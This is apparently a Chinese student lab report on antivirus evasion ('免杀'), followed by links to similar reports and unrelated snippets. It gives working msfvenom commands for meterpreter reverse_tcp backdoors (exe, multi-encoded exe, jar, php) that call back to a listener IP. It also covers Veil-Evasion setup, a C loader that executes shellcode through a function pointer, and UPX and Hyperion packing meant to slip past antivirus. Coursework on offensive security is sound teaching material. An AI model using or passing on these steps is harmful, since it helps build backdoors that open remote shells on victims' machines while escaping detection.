Exp3 免杀原理与实践

一、实验内容

1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1.杀软是如何检测出恶意代码的?

基于特征码的检测:通过对病毒库中已有记录的恶意代码截取其中一小段代码对程序进行检测,发现相同就认定为恶意代码。

启发式恶意软件检测:就是根据恶意代码的常见特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,确定恶意代码共同的比较特殊的行为,监视程序的运行,如果发现程序出现这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?

使用各种技术手段对恶意软件进行处理,使它不会被杀毒软件检测到。

3.问:免杀的基本方法有哪些?

  • (1)改变特征码

只有EXE——加壳(压缩壳 加密壳)

有shellcode(像Meterpreter)——利用encode进行编码

有源代码——用其他语言进行重写再编译

  • (2)改变行为

    • 改变通讯方式、改变操作模式、使用非常规方法

三、实验步骤

任务一 正确使用免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 在实验二中使用msf生成了后门程序,使用Virscan对生成的后门程序进行扫描。

  • 在使用Virscan网站时,可能会出现文件名出现违法字,这时只需将文件名修改一下即可。
  • 改命过后Virscan网站的扫描结果如下:

2、一次编码使用命令:

  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded.exe

  (-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)

3、七次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded7.exe

将编码七次后的可执行文件上传到VirusTotal扫描后结果如下:

2. msfvenom生成jar文件和php文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.jar
  • 生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.php
  • 生成文件如下所示:

  • 扫描结果如下:

3. 使用veil-evasion生成后门程序及检测

       安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,如果不是可以直接下载安装。
   mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安装Veil

  • veil命令打开veil,输入y继续安装直至完成

  • 成功的话,输入veil命令,会出现下面这个界面

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.115

  • 设置端口,命令为:set LPORT 4303

  • 输入generate生成文件,接着输入你想要playload的名字:veil_4303
  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_4303.exe

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=4303 -f c用c语言生成一段shellcode;

  • 创建一个文件20164303.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20164303.c -o 20164303.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

6.对文件进行加壳

  • 使用压缩壳(UPX)

    • 给之前的20164303.exe加个壳得到4303_upxed.exe:

    • 使用命令 upx 20164303.exe -o 4303_upxed.exe

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 4303_upxed.exe 4303_upxed_Hyperion.exe进行加壳:
    • 检测结果如下图

任务二:通过组合应用各种技术实现恶意代码免杀

生成的php文件在检测中只有一个杀毒软件报毒,同时windows10的病毒和威胁防护也没有反应,很神奇。

其他方式生成的文件会被windows10自带的病毒和威胁防护功能杀掉,病毒检测也会报毒。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

本来想再创建一个win7虚拟机来进行实验,然而一打开两个虚拟机,系统就崩了。呃,所以实验还没有开始就结束了。

四、实验总结与体会

这次实验出现问题很多,最头痛的是veil的安装,尝试了多种方法,呃,没有什么用。最后还是屈服了,找成功下到veil的同学拷贝了。我深切地体会到想要成功的黑掉别人的电脑也不是容易的事情,毕竟我自己黑自己都成功不了。但我也体会到网络攻防技术的魅力,并不是控制别人的电脑所带来的快感,而是费尽心血后成功的喜悦。虽然我没有成功,而且过程让我有点痛苦,但是我还是通过实验加深了对课堂所学知识的理解,也算有些收获。

Exp3 免杀原理与实践 20164303 景圣的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. mysql中各种日期数据类型及其所占用的空间

    DATETIME,8字节: DATE,3字节: TIMESTAMP,4字节: YEAR,1字节: TIME,3字节:

  2. Easyui datagrid 数据表格 表格列头右键菜单选择展示列 JS

    Easyui ,数据表格加载出来以后,在表格头右键,会有显示筛选的功能: 如图: 然后可以取消勾选,就变成下面这个样子: 功能的实现是通过重写了easyui 的 $.fn.datagrid.defau ...

  3. subline text3 安装 rem装换工具

    CSSREM 一个CSS的px值转rem值的Sublime Text 3自动完成插件. 插件效果如下: 安装 下载本项目,比如:git clone https://github.com/flashli ...

  4. 二、springboot使用jpa

    花了几天时间,好好看了看springboot的jpa部分,总结了常用的形式. 1.通过STS工具添加jpa的依赖项 要连mysql,测试的时候需要web,顺便添加了lombok不写set和get方法了 ...

  5. python遍历文件(替换)

    #!/usr/local/bin/python # -*- coding: UTF-8 -*- #coding:gbk import re import os w_str="" x ...

  6. Python_tkinter(3)_grid布局

    Grid(网格)布局管理器,是Tkinter里面最灵活的几何管理布局器.注意:不要试图在一个主窗口中混合使用pack和grid. 1.简单的布局 from tkinter import * root ...

  7. nginx隐藏tp路由index.php

    ---------------------------------------------- 也可以找到vhosts.conf文件修改, 重启nginx,service nginx restart

  8. Windows 系统快速查看文件MD5

    关键 ·打开命令窗口(Win+R),然后输入cmd ·输入命令certutil -hashfile 文件绝对路径 MD5 快速获取文件绝对路径 ·找到文件,右键属性 注意 ·在Win7上,MD5不要使 ...

  9. Ubuntu16.04彻底删除PHP7.2

    一.删除php的相关包及配置 apt-get autoremove php7* 二.删除关联 sudo find /etc -name "*php*" |xargs  rm -rf ...

  10. C# 方法扩展

    using System.Collections.Generic; namespace Extra_Function { public static class Function { public s ...